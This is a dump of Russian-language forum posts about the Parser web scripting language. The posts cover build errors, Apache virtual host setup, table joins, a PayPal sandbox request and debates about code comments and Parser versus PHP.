4. В контрольную панель (или, лучше, в трей-менеджер) приделать выпадающую менюшку, через которую можно открывать сайты из описания виртуальных хостов. Чтобы не закладки в браузере создавать, а из единого интерфейса рулить.\
5. Добавить ImageMagick (как минимум convert.exe с минимально нужными либами, примерно мегабайт весят). Можно + Perl wrapper для изменения размеров изображений :)\
\
И, если возможно, поясните - я могу поковырять исходники трей-менеджера (добавить пару фич, которые нужны для управления моей собственной системкой) и использовать это в своих проектах ? А то в лицензии ни слова нету про главную фичу в виде трей-менеджера. Может он не GPL, и на меня потом в суд подадут, А исходники специально, чтобы расслабились :)"
"34798","Это auto.p, который лежит с parser.cgi...\
==========================================\
#$SQL.connect-string[mysql://user:pass@host/db?charset=cp1251_koi8]\
#$SQL.connect-string[pgsql://user:pass@host/db]\
#$SQL.connect-string[oracle://user:pass@service?NLS_LANG=RUSSIAN_AMERICA.CL8MSWIN1251&NLS_DATE_FORMAT=YYYY-MM-DD HH24:MI:SS] \
==========================================\
Понятно :( Извини!\
И еще тогда в догонку... :) Если я сделаю на домене, на поддоменах тоже работает только .htaccess надо? Это так чтобы наверняка :)"
"34800","классический пример как не надо писать комментарии :) Комментарии подобного вида:\
[code]\
# Обнуляем счётчик\
$counter(0)\
[/code]\
писать легко, но это же бред - разве любой нормальный человек не поймет без комментариев что это обнуление? Такие вещи загромождают код и только усугубляют проблемы, а не решают их."
"34801","Было:\
\
http://www.parser.ru/f/1/download/redhat72/parser3_3_0_0005_redhat72_cgi_xml.tar.gz\
\
Стало:\
\
http://www.parser.ru/f/1/download/redhat/parser3_3_0_0005_redhat72_cgi_xml.tar.gz\
\
:)"
"34803","Либо хранить его как hashfile, либо… Читать документацию и эксперементировать. Готовое решение вряд ли кто-нибудь выложит.\
\
[b]add:[/b]\
А можно при изменении данных в админке парсером генерировать парсерный же код и обновлять весь config.cfg"
"34804","[code]\
# Очищаем строку\
  $out_string\
[/code]\
\
Никакой \"очистки строки\" здесь не происходит! Кроме того: у вас ни одна переменная не объявлена локальной [что может приводить к неоправданому расходу памяти], вместо $out_string вполне законно можно использовать $result."
"34805","Парсер в FreeBSD 5 не работает.\
\
Будет ли он работать в FreeBSD 4.10 ?"
"34806","Знатоки парсера! Кто возьмется найти у меня ошибку на втором уроке? Давайте я вам скину на e-mail папку www!"
"34807","Вроде в папки \"Мелочи\" лежит...\
\
А SMTP и должен падать - smtp-emulator.exe - нулевого размера ;-)"
"34809","Менеджер в tray пользуется для запуска браузера виндовой функцией ShellExecute из shell32.dll - а Firefox, видать, с ней не дружит.\
\
Ладно, буду генерировать при клике на этот пункт меню временный html-файл с редиректом на http://127.0.0.1 - этот манёвр будет работать всегда..."
"34810","Как с Александром Петросяном можно почтой списаться? А то пишу, а ответа нет :("
"34811","не забыв перед и после поставить [code] :)"
"34812","Александр, прошу прощения за столь резкие выссказывания вчера. Я знаю, что каждый должен заниматься своим делом. Я переводчик, работаю с тремя языками, решил выучить еще один, если нужна будет помощь с переводом - обращайтесь, я постоянно у Вас в долгу. \
\
И одна просьба, будьте немного терпимее к новичкам.\
\
С уважением (которое не на минуту не уменьшалось),\
\
Роман\
\
P.S. Мои извинения приняты?"
"34815","Судя по названиям файлов в разделе [url=\"http://www.parser.ru/download/\"]скачать[/url] точно будет работать на FreeBSD 4.9 :)"
"34817","... конечно можно, только почему бы их не опубликовать?"
"34821","И к тому же, неужели одной найденой ссылки вам мало?"
"34823","Можете кинуть линк на\
SQL Server 2005 desktop  мне в почту  (дабы не за..ть форум), а то после очередной, без сна проведенной ночи как-то не находится :)"
"34824","... явно не читали http://www.parser.ru/docs/lang/app1.htm"
"34825","отконфигурировал, вроде все ок, все без ошибок... а при мейке вот такие проблемы... ничего не понимаю.... ПОМОГИТЕ!!\
ОС Debian из последних. Поможите!!!! 3 дня уже мучаюсь.\
parser-3.1.3# make\
Making all in src\
make[1]: Entering directory `/root/parser-3.1.3/src'\
Making all in include\
make[2]: Entering directory `/root/parser-3.1.3/src/include'\
make  all-am\
make[3]: Entering directory `/root/parser-3.1.3/src/include'\
make[3]: Nothing to be done for `all-am'.\
make[3]: Leaving directory `/root/parser-3.1.3/src/include'\
make[2]: Leaving directory `/root/parser-3.1.3/src/include'\
Making all in main\
make[2]: Entering directory `/root/parser-3.1.3/src/main'\
if g++ -DHAVE_CONFIG_H -I. -I. -I../../src/include -I../types -I../classes -I../\
sql -I../lib/pcre -I../lib/gc/include -I../lib/cord/include -I../../src/lib/ltdl\
     -g -O2 -MT compile.tab.o -MD -MP -MF \".deps/compile.tab.Tpo\" \\\
  -c -o compile.tab.o `test -f 'compile.tab.C' || echo './'`compile.tab.C; \\\
then mv \".deps/compile.tab.Tpo\" \".deps/compile.tab.Po\"; \\\
else rm -f \".deps/compile.tab.Tpo\"; exit 1; \\\
fi\
In file included from ../../src/include/pa_request.h:17,\
                 from compile_tools.h:16,\
                 from compile.y:32:\
../../src/include/pa_stack.h: In member function `void Stack<T>::push(T)':\
../../src/include/pa_stack.h:23: error: there are no arguments to `count' that d\
epend on a template parameter, so a declaration of `count' must be available\
../../src/include/pa_stack.h:23: error: (if you use `-fpermissive', G++ will acc\
ept your code, but allowing the use of an undeclared name is deprecated)\
../../src/include/pa_stack.h: In member function `T Stack<T>::pop()':\
../../src/include/pa_stack.h:31: error: there are no arguments to `get' that dep\
end on a template parameter, so a declaration of `get' must be available\
../../src/include/pa_stack.h: In member function `T Stack<T>::top_value()':\
../../src/include/pa_stack.h:39: error: there are no arguments to `get' that dep\
end on a template parameter, so a declaration of `get' must be available\
../../src/include/pa_stack.h: In member function `void Stack<T>::wipe_unused()':\
../../src/include/pa_stack.h:44: error: `fused' undeclared (first use this funct\
ion)\
../../src/include/pa_stack.h:44: error: (Each undeclared identifier is reported\
only once for each function it appears in.)\
../../src/include/pa_stack.h:45: error: `felements' undeclared (first use this f\
unction)\
make[2]: *** [compile.tab.o] Error 1\
make[2]: Leaving directory `/root/parser-3.1.3/src/main'\
make[1]: *** [all-recursive] Error 1\
make[1]: Leaving directory `/root/parser-3.1.3/src'\
make: *** [all-recursive] Error 1\
kontur:~/parser-3.1.3# make\
Making all in src\
make[1]: Entering directory `/root/parser-3.1.3/src'\
Making all in include\
make[2]: Entering directory `/root/parser-3.1.3/src/include'\
make  all-am\
make[3]: Entering directory `/root/parser-3.1.3/src/include'\
make[3]: Nothing to be done for `all-am'.\
make[3]: Leaving directory `/root/parser-3.1.3/src/include'\
make[2]: Leaving directory `/root/parser-3.1.3/src/include'\
Making all in main\
make[2]: Entering directory `/root/parser-3.1.3/src/main'\
if g++ -DHAVE_CONFIG_H -I. -I. -I../../src/include -I../types -I../classes -I../sql -I../lib/pcre -I../lib/gc/include -I../lib/cord/include -I../../src/lib/ltdl     -g -O2 -MT compile.tab.o -MD -MP -MF \".deps/compile.tab.Tpo\" \\\
  -c -o compile.tab.o `test -f 'compile.tab.C' || echo './'`compile.tab.C; \\\
then mv \".deps/compile.tab.Tpo\" \".deps/compile.tab.Po\"; \\\
else rm -f \".deps/compile.tab.Tpo\"; exit 1; \\\
fi\
In file included from ../../src/include/pa_request.h:17,\
                 from compile_tools.h:16,\
                 from compile.y:32:\
../../src/include/pa_stack.h: In member function `void Stack<T>::push(T)':\
../../src/include/pa_stack.h:23: error: there are no arguments to `count' that depend on a template parameter, so a declaration of `count' must be available\
../../src/include/pa_stack.h:23: error: (if you use `-fpermissive', G++ will accept your code, but allowing the use of an undeclared name is deprecated)\
../../src/include/pa_stack.h: In member function `T Stack<T>::pop()':\
../../src/include/pa_stack.h:31: error: there are no arguments to `get' that depend on a template parameter, so a declaration of `get' must be available\
../../src/include/pa_stack.h: In member function `T Stack<T>::top_value()':\
../../src/include/pa_stack.h:39: error: there are no arguments to `get' that depend on a template parameter, so a declaration of `get' must be available\
../../src/include/pa_stack.h: In member function `void Stack<T>::wipe_unused()':\
../../src/include/pa_stack.h:44: error: `fused' undeclared (first use this function)\
../../src/include/pa_stack.h:44: error: (Each undeclared identifier is reported only once for each function it appears in.)\
../../src/include/pa_stack.h:45: error: `felements' undeclared (first use this function)\
make[2]: *** [compile.tab.o] Error 1\
make[2]: Leaving directory `/root/parser-3.1.3/src/main'\
make[1]: *** [all-recursive] Error 1\
make[1]: Leaving directory `/root/parser-3.1.3/src'\
make: *** [all-recursive] Error 1"
"34826","а вот что пишет, если запустить уже откомпиленый парсер:\
cgi-bin# ./parser3.cgi\
./parser3.cgi: relocation error: ./parser3.cgi: symbol __libc_stack_end, version GLIBC_2.1 not defined in file ld-linux.so.2 with link time reference"
"34827","Первая же ссылка."
"34828","Переход на них достаточно безболезнен (на радикальные варианты вроде с 3.0 на 3.1) когда объем работающего кода невелик, скажем до 20 тысяч строк. Если больше это вещь ну сопряженная с большими неприятностями, поэтому старые версии сопровождать нужно если хочется иметь крупных игроков. Впрочем, это для мира open source совсем не характерно и это не вина лебедевцев.\
\
Я кстати потихоньку приближаюсь к указанной цифре (хотя до нее еще прилично), и отладка становится все труднее. Кроме того высплывают недостатки архитектуры и перестает работать грубая сила."
"34829","сам я не очень силён, и не очень понимаю, почему на вашей системе нет libc.so.4, ваш админ должен эту премудрость знать наизусть.\
\
так что он может нам рассказать, можно ли тупо поставить symlink, чтобы libc.so.4 как бы был, или надо где-то её выкачать/поставить.\
\
что конкретно делать написано в файлах INSTALL в архивах с исходниками, которых достаточно для установки версии 3.1.3\
\
доступ в cvs вам нужен только, если нужна версия с самыми последними изменениями.\
\
просто посмотреть последние изменения можно тут: http://cvsview.parser.ru"
"34830","спросите у своего администратора, что он может вам подсказать.\
иногда используются всякие хитрые настройки доступа, chroot.\
\
parser делает dlopen(\"/usr/local/lib/mysql/libmysqlclient.so\")\
операционная система говорит ему \"шиш\"."
"34831","пока внёс ваш домен в белый список.."
"34832","Не пиннайте строго, я делал для себя - мне это необходимо ;)\
\
[code]\
@main[]\
# Создаём хешь указывающий в какой строке сколько символов должно быть\
# Счёт идёт по человеческим правилам, 1-ая строка = 1\
# $._default устаналивать обязательно\
# Если все строки должны быть равны между собой можно сделать постл $hash_string_lengch(20)\
$hash_string_lengch[\
	$._default(20)\
	$.1(12)\
	$.2(13)\
	$.3(15)\
	$.4(19)\
	$.5(25)\
	$.6(27)\
	$.7(35)\
	$.8(70)\
]\
$result[^wsplit[Это строка которую будем дробить на более короткие строки длинной по двадцать символов, надеюсь вам пригодится. Слова с большим количеством символов дробиться небудут, а будут занимать строку целиком. например лфдыорадфоыврафлдоыравылфдравдфыолавр. И ещё, чуть не забыл, когда будете считать символы НЕ считать перевод строки как один из символвов;$hash_string_lengch;<br/>\
]]\
\
# разбиение строки на строки с определённым количеством символов\
# Вызывать следующим образом\
# ^wsplit[строка которую требуется разбить на строки;требуемое количество символов в строке;символ перевода строки по умолчанию  энтер]\
@wsplit[str;symvols_in_string;perevod_stroki][counter;str;symvols_in_string;perevod_stroki;string_counter]\
# Сделано для возможности задать длинну каждой строки отдельно\
^if($symvols_in_string is hash){}{$symvols_in_string[$._default[$symvols_in_string]]}\
^if(!def $perevod_stroki){$perevod_stroki[\
]}\
\
# разбираем полученную строку на слова\
$str[^str.split[ ;v]]\
\
$string_counter(1)\
# перебираем полученную таблицу\
^str.menu{\
\
# Сохраняем строку в переменную чтобы можно было посчитать количество символов в переменной\
	$str_tmp[$str.piece]\
\
# Считаем количество символов в переменной\
	$num_symvols(^str_tmp.length[])\
\
# Считаем количество символов в строке где 1 - пробел\
	$counter($counter+($num_symvols+1))\
\
# Если количество символов не болше определённого то добавляем слово к строке, если больше то обнуляем счётчик прибавляем к нему количество символов последнего слова, ставим перевод строки и вставляем слово\
	^if($counter > ($symvols_in_string.$string_counter+1)){\
		^if($counter == ($num_symvols+1)){\
# Вставляем слово несмотря на то что оно больше заданного лимита, а заним перевод строки\
			$result[${result}$str.piece^if(def $result){$perevod_stroki}]\
			$counter[0]\
		}{\
# Вставляем перевод стоки, а затем слово\
			$result[${result}^if(def $result){$perevod_stroki}$str.piece]\
# Меняем значение счётчика тк начинаем новую строку\
			$counter($num_symvols+1)\
		}\
# Счётчик номеров строк\
		$string_counter($string_counter+1)\
	}{\
# Вставляем пробел и слово\
		$result[$result^if(def $result){ }$str.piece]\
	}\
}\
\
[/code]"
"34838","Товарищ, а сами не возьмётесь, не наберётесь терпения и не проверите сами свои ошибки.\
С уроками, по готовому и не разобраться - стыдно."
"34839","Есть, допустим, две таблицы A и B со структурами соответственно:\
[code]a1 a2 a3[/code]\
[code]b1 b2 b3[/code]\
Вопрос № 1: как получить таблицу C со структурой:\
[code]a1 a2 a3 b1 b2 b3[/code]?\
\
Вопрос № 2: Я сильно туплю?"
"34840","Может кому пригодится, для устранения вложенных условий:\
[code]\
$default(1)\
^if(cond1){\
	...\
	$default(0)\
}\
^if(cond2){\
	...\
	$default(0)\
}\
^if($default){ ^rem{ Умолчание }\
	...\
}\
[/code]\
Только понятно что условия все должны быть взаимоисключающими"
"34841","1.\
[code]\
@addtable[table1;table2][table1;table2;table1_columns;table2_columns]\
^try{\
	$table1_columns[^table1.columns[]]\
	$table2_columns[^table2.columns[]]\
	$result[^table::create{^table1_columns.menu{$table1_columns.column}[	]	^table2_columns.menu{$table2_columns.column}[	]}]\
	^table1.menu{\
		^table2.offset(^table1.offset[])\
		^result.append{^table1_columns.menu{$table1.[$table1_columns.column]}[	]	^table2_columns.menu{$table2.[$table2_columns.column]}[	]}\
	}\
}{\
	$exception.handled(1)\
	$result[^table::create{empty}]\
}\
[/code]\
\
2. Не очень."
"34842","то есть не из примеров данного ресурса а каким либо скриптом как например phpinfo? Спасибо :)"
"34843","это называется соединение таблиц, (в SQL разные варианты join). Только зачем это делать средствами парсера не очень понятно. Для этого есть другие средства - реляционные СУБД, где это и быстрее и описано в каждой книжке.\
\
Хотя Microsoft в своем ADO.NET сделала нечто подобное."
"34844","имена полей мне известны или неправильно, где в доках :) посмотреть?"
"34845","VS (насколько я понял это Visual Studio) не работает во FreeBSD. Для сборки бинарика под конкретную ОС, нужно собирать под ней (а не под виндоус), т.е. используя gcc в данном случае.\
\
Конкретную ОС можно поставить еще одной системой на компьютер или использовать эмуляторы вроде VMWare\
\
CVS - это система управления версиями (concurrent version system). Да, там хрянятся все версии парсера :)"
"34846","[quote]\
p.s. Замеры показали, что мой код в пять раз быстрее. :) Хотя в тестовом примере речь идет о тысячных и деститысячных долях секунды.\
[/quote]\
Олег, не факт. Такие порядки времени вполне можно списать на погрешность :) нужно что-то более длительное, тогда посмотрим так это или нет."
"34847","У меня операций и переменных больше, и для меня нужна была иная функциональность а не скорость"
"34848","Скорость важна [b]всегда[/b]. Просто потом её достижение обойдется сильно дороже."
"34849","... на моих тестах разница была на порядок, причем стабильно. Само выражение достаточно простое и \"конечный автомат\" для него выполняется быстро. \
\
Я преследовал одну цель - показать, что регулярными выражениями подобные задачи решаются проще, а работают, поо крайней мере, не медленнее."
"34850","... если Вам так нужны строки в 19 значящих символов, то поправить это не сложно."
"34851","да не, мне это решение тоже нравится (тем более без таких идиотских комментариев о том, как присваивать переменной ноль, важного сообщения о том что тут начинает прокручиваться таблица и т.д.), просто когда говорят о тысячных долях секунды, то автоматически возникает подозрение на погрешности."
"34852","1. параметры не обязательно объявлять как локальные переменные\
2. посмотрите что сделает ваш код в случае таблиц, у которых разное количество строк :)"
"34854","... зачем практически нужна такая функция?\
\
p.s. Сформировать подобное регулярно выражение не сложно... только вод не понятно зачем."
"34856","мы успешно собираем этими:\
\
2.95.4\
2.96\
3.2.2"
"34857","Заполнение конвертов :)\
Мне сейчас надо заполнить ~700 штук, и на новый год ещё ~700, - чего несделаешь для любимых клиентов"
"34859","Спасибо за советы и пищу для мозгов:)\
1. Про БД я как-то не подумал, хотя она (MySQL) под рукой.\
2. В обеих таблицах одинаковое количество строк, так что\
с этим проблем не будет.\
3. Кстати, объясните смысл правой части этой конструкции:\
[code]@addtable[table1;table2][table1;table2;table1_columns;table2_columns]\
[/code]\
Переменные во вторых кв. скобках для чего записаны?\
Чтобы к ним можно было обращаться из других методов, классов?\
В доке есть раздел \"Передача параметров\", к-рый я сколько не читал, так до конца и не понял.\
Поскольку обращаться к переменным созданным в других (по отношению к текущему) методах получается безо всякого их дополнительного указания. Возможно, я путаю термины, не судите строго."
"34860","~# gcc -v\
Reading specs from /usr/lib/gcc/i486-linux/3.4.2/specs\
Configured with: ../src/configure -v --enable-languages=c,c++,java,f77,pascal,objc,ada,treelang --prefix=/usr --libexecdir=/usr/lib --with-gxx-include-dir=/usr/include/c++/3.4 --enable-shared --with-system-zlib --enable-nls --without-included-gettext --program-suffix=-3.4 --enable-__cxa_atexit --enable-libstdcxx-allocator=mt --enable-clocale=gnu --enable-libstdcxx-debug --enable-java-gc=boehm --enable-java-awt=gtk --disable-werror i486-linux\
Thread model: posix\
gcc version 3.4.2 (Debian 3.4.2-3)"
"34861","Там есть такая штука, как \"Слияние\" (\"Merge\") плюс Visual Basic, которым с текстом можно сделать что угодно: он вам конверты и сформирует и распечатает..."
"34863","функция count() есть в родительском классе, где она public.\
\
кто знает, пусть расскажет.\
сам разбираться буду только, когда понадобится нашим клиентам.\
\
workaround: соберите где-нибудь более старым компилятором.\
\
желательно: если есть силы, поищите текст сообщения об ошибке в google groups и найдите внятное описание, почему так, и что делать."
"34864","Парсер реагирует нормально, а сервер нет - может кто-то подскажет в чем проблема?\
\
Идея: GETом передают значение \"tx\"\
\
POSTом запрашиваем cmd=_notify-synch + \"tx\" + \"at\"\
\
[code]\
# Приняли через Get от сервера и оформили\
\
$tx_token[$form:tx]\
$auth_token['3TdlNofIR2T3Hk8XqGaqTu5KKlbDhGfNfPG5pRvidYyu4R6UpBCO7GZlUfC']\
\
\
#### Создаем тело запроса \
\
$POSTbody[cmd=_notify-synch&tx=$tx_token&at=$auth_token]\
\
#### отдаем серверу POSTом \
\
$f[^file::load[text;http://sandbox.paypal.com/cgi-bin/webscr][\
	$.method[POST]\
	$.timeout(60)\
	$.headers[\
		$.Content-type[application/x-www-form-urlencoded]\
		\
		]\
	$POSTbody\
	]\
]\
[/code]\
\
# Дальше результат обрабатывается"
"34865","VB я незнаю(изучить сложнее чем воспользоваться уже имеющимися знаниями), а ручками вбивать влом"
"34866","1. Это моя привычка. Предпочитаю локализовать всё, что не понадобится извне, дабы избежать возможных нестыковок.\
2. Дык! :) Это автору на домашнее задание."
"34867","Вторые скобки - задание ипользуемых переменных локальными, дабы исключить возмождное влияние на другие методы."
"34870","Все-таки хэши и таблицы [а судя по всему еще и файлы и xdoc-и] передаются по ссылке и через них можно менять данные находящиеся вне функции. Но объявление параметров локальными переменными ничего не изменит, а значит бессмысленно."
"34872","Попробуйте так:\
[code]\
$f[^file::load[text;http://sandbox.paypal.com/cgi-bin/webscr][\
	$.method[POST]\
	$.timeout(60)\
	$.headers[\
		$.Content-type[application/x-www-form-urlencoded]\
	]\
\
$POSTbody\
	]\
]\
[/code]"
"34874","Очень часто сталкиваюсь с тем, что значения переменных изменяются.\
Или, к примеру, бывает нужно вызвать переменную совпадающую по имени с методом из этого метода, тогда спасает локализация.\
\
К тому же, насколько я понимаю, переменные в пределах класса - глобальные, а локальны только объявленные локальными.\
Они доступные только внутри самого метода и методов и операторов, вызываемых из него.\
Если ошибаюсь - поправьте."
"34880","такая вот проблема:\
есть файл, filename.p \
в нем есть хеш. Мне нужно из класса достать этот файл и вывести хеш. Вот как я сделал:\
\
[i]filename.p:[/i]\
[code]\
@auto[]\
$hash[\
		$.cat[\
				$.name[Кузя]\
		]\
		$.dog[\
				$.name[Шарик]\
		]\
]\
[/code]\
\
[i]index.html:[/i]\
[code]\
^use[filename.p]\
^if(def $hash){1}{0}\
[/code]\
\
все ок, но разумно ли? Кто как делает?"
"34881","Подскажите, как элегантно сделать сайт на нескольких языках, где скрыта технологическая хитрость? \
Если вызывается www.что-то.ru/en или www.что-то.ru/de, как сделать так, чтобы не копировать весь html код в разные директории, ибо есть один файл, который динамически наполняется содержимом на нужном языке?\
\
Дмитрий."
"34882","Получать запрошенный язык, либо с использованием mod_rewrite (это если www.site.ru/en/ хочется), либо напрямую из значения формы (это если www.site.ru/?lang=en).\
А затем выводить отличные на разных языках части страниц в зависимости от языка.\
\
В любом случае не нужно ничего копировать в разные папки."
"34885","Выполняю  shell-script парсером, но большие файл не распаковывает пишет: Archive 1.zip inflating: file.txt\
\
Причем если удать какой-нить файл появляются остальные файлы архива.\
\
Вопрос: как быть? Проверить на линус машине не могу, извиняйте."
"34886","Продолжая тему [url=\"http://www.parser.ru/forum/?id=23301\"]http://www.parser.ru/forum/?id=23301[/url]\
Выполняю shell-script парсером, но большие файл не распаковывает пишет: Archive 1.zip inflating: file.txt\
\
Причем если удать какой-нить файл появляются остальные файлы архива.\
\
Вопрос: как быть? Проверить на линус машине не могу, извиняйте."
"34887","Все работает, все круто, но...  Заходишь в раздел \"новости\", ссылка в менюшке становится неактивной и меняет цвет. Все как и должно быть. Но только стоит в календаре перейти по ссылке на дату, то ссылка \"новости\" в менюшке становится активной и исчезает оформление ячейки. Как тут быть?"
"34890","[b]1.[/b] В базе данных добавить одну ячейку lang, в которой писать id языка\
\
[b]2.[/b] Cоздать таблицу langs, в которой хранить собственно id, uri, title[, is_default] языка (можно еще что-нибудь придумать, конечно, но мне этого достаточно)\
\
[b]3.[/b] Смотреть по $requies:uri на наличие в начале ru или de или еще чего-то там.\
\
[b]4.[/b] Смотреть в таблице lang указанный uri, и если он есть, то выдергивать данные из таблицы.\
\
[b]5.[/b] Пример\
\
[code]\
$langs[^table::sql{SELECT id,uri FROM langs}]\
^langs.menu{\
	^if(^requiest:uri.match[^^$langs.uri(.+)]){\
		$lang[$langs.id]\
	}\
}\
$table[^table::sql{SELECT fields FROM table WHERE lang='$lang'}]\
[/code]"
"34891","Есть /config.cfg, в котором находиться хэш $GLOB, в котором хранятся все глобальные настройки, те, что не в базе.\
\
В auto.p я его подключаю, как класс (в операторе @use[])\
\
Использую где надо: $GLOB.field"
"34893","вы же проверяете $request:uri. Когда тыкаете по календарю $request:uri меняется."
"34894","Если не ошибаюсь, у egr-а что-то подобное."
"34896","тестовый 127.0.0.2 через браузер не открывается.\
как только не пробовал мучать конфиги - не пашет.\
-\
Запускал под WinXP SP2"
"34897","чтобы на машине поддержался ещё ip адрес надо много чего делать,\
а чтобы в apache появилось много серверов для одного имени, делать надо мало.\
\
[code]\
NameVirtualHost localhost:*\
<VirtualHost localhost:*>\
ServerName test1\
...\
</VirtualHost>\
\
<VirtualHost localhost:*>\
ServerName test2\
...\
</VirtualHost>\
[/code]\
\
и в файл\
C:\\windows\\system32\\drivers\\etc\\hosts \
в конец добавить строчку\
[code]\
127.0.0.1     test1 test2\
[/code]\
\
тогда в браузере можно будет открыть\
http://test1\
http://test2"
"34900","Есть у кого метод кодирующий в обе стороны?\
Был бы очень благодарен за помощь в этом вопросе.\
\
ИМХО, встроенная функция в парсер encode/decode quoted-printable не помешала бы, т.к. задача такая при работе с вебом возникает достаточно часто."
"34901","можно 3."
"34902","нужно сделать?\
\
Не сомневаясь в мудрости ПАФа, я думаю, что что если бы она РЕАЛЬНО была нужна, то в Парсере присутствовала бы. :)\
Давайте задачу - придумаем как ее решить."
"34903","Вот я все никак не могу понять, зачем нужен Парсер, если есть PHP. Он что, удобнее, быстрее, или как? Зачем колесо изобретать???"
"34904","- \"Зачем забивать гвозди молотком?\"\
\
видимо вы попали на форум минуя главную страницу..."
"34905","Нет, копирайтерскую лабуду на главной странице я читал)))\
\
Вот, например, прямое противоречие:\
\" На Parser могут работать далеко не профессиональные программисты\"\
\
и\
\
\"Parser именно тем и хорош, что позволяет простым смертным создавать и поддерживать сложные динамические сайты без больших затрат времени.\"\
\
А как непрограммист может создать сложный сайт? Только используя заранее написанные скрипты)))."
"34906","Не подумайте, что я нарочно хочу очернить Парсер, вовсе нет.\
\
Просто мне действительно интересно, чем мотивировано появление нового языка программирования? Новыми идеями или просто желанием авторов [Парсера] что-то сделать? Или это часть политики студии Лебедева - \"у нас все свое, все самое навороченное, все самое эксклюзивное, и мы не хотим пользоваться таким ширпотребом, как PHP или Perl\".\
\
Жду ответа."
"34907","Не подумайте, что я нарочно хочу очернить Парсер, вовсе нет.\
\
Просто мне действительно интересно, чем мотивировано появление нового языка программирования? Новыми идеями или просто желанием авторов [Парсера] что-то сделать? Или это часть политики студии Лебедева - \"у нас все свое, все самое навороченное, все самое эксклюзивное, и мы не хотим пользоваться таким ширпотребом, как PHP или Perl\"."
"34909","Зачем изобретают велосипед?..\
Затем, что каждой задаче - подходящий инструмент."
"34911","Учитель, подскажи чайнику.\
Скачал apache_1.3.31rusPL30.20.tar,\
распоковал RARом, как теперь запустить configure?\
Этот файл не принадлежит ни к какому приложению\
после распоковки архива. И нужен ли локальный домен\
для работы сервера, ОС WINDOWS 2000, если да то как его установить?\
Спасибо!"
"34912","Ключевые слова: \"windows apache установить\" в любой поисковой Google. Читай ;-) Проблем много."
"34913","Что-то последнее время столько проблем с установкой..."
"34914","Подскажите, пжлста, как организовать таблицу на сайт\
[code]\
#Список стран-пробок\
@caps[id;strana]\
$sections[^table::load[/caps/caps.max]]\
<link rel=\"stylesheet\" href=\"/style.css\" type=\"text/css\">\
$nomer(0)\
$sum(0)\
\
<CENTER><B>$strana</B><BR>\
^sections.menu{\
^if($sections.id eq $id){\
	$sum($sum + 1)\
	}\
}\
\
$sum<br>\
$full($sum \\ 5) #- полных циклов<br>\
$pol($sum % 5) #- остатков меньше 5<br>\
\
^if($pol == 0){\
$k($full)\
}{\
$k($full + 1)\
}\
# $k - сколько раз циклить\
\
<TABLE cols=5 width=\"100%\">\
^sections.menu{\
^for[m](1;$full){\
<TR>\
$m($m+1)\
^for[m1](1;5){\
	<TD><CENTER><IMG src=\"/caps/$sections.id/$sections.image\" alt=\"$sections.alt\" width=120 height=117><br>\
	$nomer($nomer + 1) $col($col + 1) $nomer </CENTER>\
	$m1($m1+1)\
	</TD>\
}\
</TR>\
}\
\
^for[m2](1;$pol){\
    <TD><CENTER><IMG src=\"/caps/$sections.id/$sections.image\" alt=\"$sections.alt\" width=120 height=117><br>\
	$nomer($nomer + 1) $col($col + 1) $nomer </CENTER>\
	</TD>\
$m2($m2+1)\
}\
\
}\
</Table>\
[/code]\
\
Очень хотелось бы, чтобы получилось как на\
[url=\"http://nester.fesaem.ru/caps/can/\"]сайте[/url] - в самом низу - то, чтобы хотелось увидеть на Парсере, а в начале, то, что по данному коду получается.... :-("
"34915","хочется при запросе www.site.ru/en, /de или /ru избежать  копирования всей структуры сайта в эти директории.\
В mod_rewrite пока вижу оптимальный выход, но заставить работать её пока не могу :)))"
"34916","[url=\"http://www.parser.ru/forum/?id=34269\"]Ручной ModRewrite[/url]"
"34917","Собственно, зачем мне Base64/quoted printable на вебе:\
\
1. Всевозможная работа с почтой\
2. Чтение и создание vCard  \
3. Бинарные объекты в XML"
"34918","Требуется работа с vCard 2.1.\
Формат подробно [url=\"http://www.imc.org/pdi/\"]описан[/url] и без этих функций при работе с ним не обойтись.\
\
Кроме того, ранее требовалось написание/чтение русских тем в почтовых сообщениях, а также чтение из XML и других текстовых файлов бинарных объектов."
"34919","Лично мне, например, использование парсера существенно снизило временные издержки при создании веб-приложений.\
\
При этом ни качество, ни скорость работы конечного результата  существенно не изменились. \
\
Ранее писал на Перл. PHP не понравился сразу - как-то в нем все кривова-то :("
"34920","Мне вообще C++ нравится)))\
Ладно, не буду к вам приставать - на вкус и цвет товарищей нет. Кому-то нравится Perl, кому-то - PHP, а кому-то и Парсер)))\
\
PS. Прочту-ка я еще раз доки к Парсеру. Даже интересно стало, ЧТО же вы так яростно защищаете."
"34921","...люди просто работают. \
как я уже написал выше, лично я снижаю свои временные издержки при работе с веб-приложениями.\
Этого достаточно.\
Религиозный спор вести нет никакого интереса."
"34922","egr для (3) просил.\
для (1) сейчас attachments кодируются в uuencode, а subject сейчас в QP."
"34923","Очень радует такой подход, и вместе с тем интересно - пользователям будет доступна самостоятельная работа (читай - отдельные методы) с QP/Base64?\
\
Хотя бы в перспективе?"
"34925","Если mod_rewrite не заставлю заработать, то так и сделаю."
"34926","Все собралось, после того как компилятор откатили до более младшей версии. щас вроде запускается.. правда я еще не знаю на скока он работает, но по краней мере не ругаецца :) щас буду апач конфигурировать :) о результатах сообщу позже"
"34927","но не знаю, когда.\
дело тривиальное, может то пришлёт \"patch -u\"?\
\
см. недавнее наше с egr обсуждение на эту тему, к какому виде встраивания пришли."
"34928","Как передать параметры поиска предыдущему окну?"
"34929","Скачайте файлик по ссылке из http://www.parser.ru/forum/?id=34769 - запустите установочный файл и через 15 секунд у вас будет всё работающее."
"34932","1. Парсер, реально это набор удобных оберток над многими более низкоуровневыми абстракциями, вроде соединений с БД и выполнении определенных типов запросов, вроде прокрутки двумерных массивов (таблиц) и пр.\
\
Например, в C# (ADO.NET) для соединения с БД и выполния запроса не возвращающего данных, нужно проделать примерно следующее:\
[code]\
OleDbConnection conn = new OleDbConnection();\
conn.ConnectionString = \"...\";\
OleDbCommand command = new OleDbCommand(\"UPDATE ...\", conn);\
conn.Open();\
command.ExecuteNonQuery();\
conn.Close();\
[/code]\
В парсере же:\
[code]\
^connect[ConnectionString]{\
	^void:sql{\
		UPDATE ...\
	}\
}\
[/code]\
С запросами возвращающими данные в C#, ещё сложнее, - нужно задействовать другие, весьма непростые для новичков абстракции вроде DataReader, DataSet, DataAdapter и т.д. В парсере же все проще. Например получение данных в двумерный массив (таблицу) с которым потом можно просто работать, выглядит так:\
[code]\
^connect[ConnectionString]{\
	$table[^table::sql{\
		SELECT\
			col1,\
			col2,\
			...\
		FROM\
			table\
	}]\
}\
[/code]\
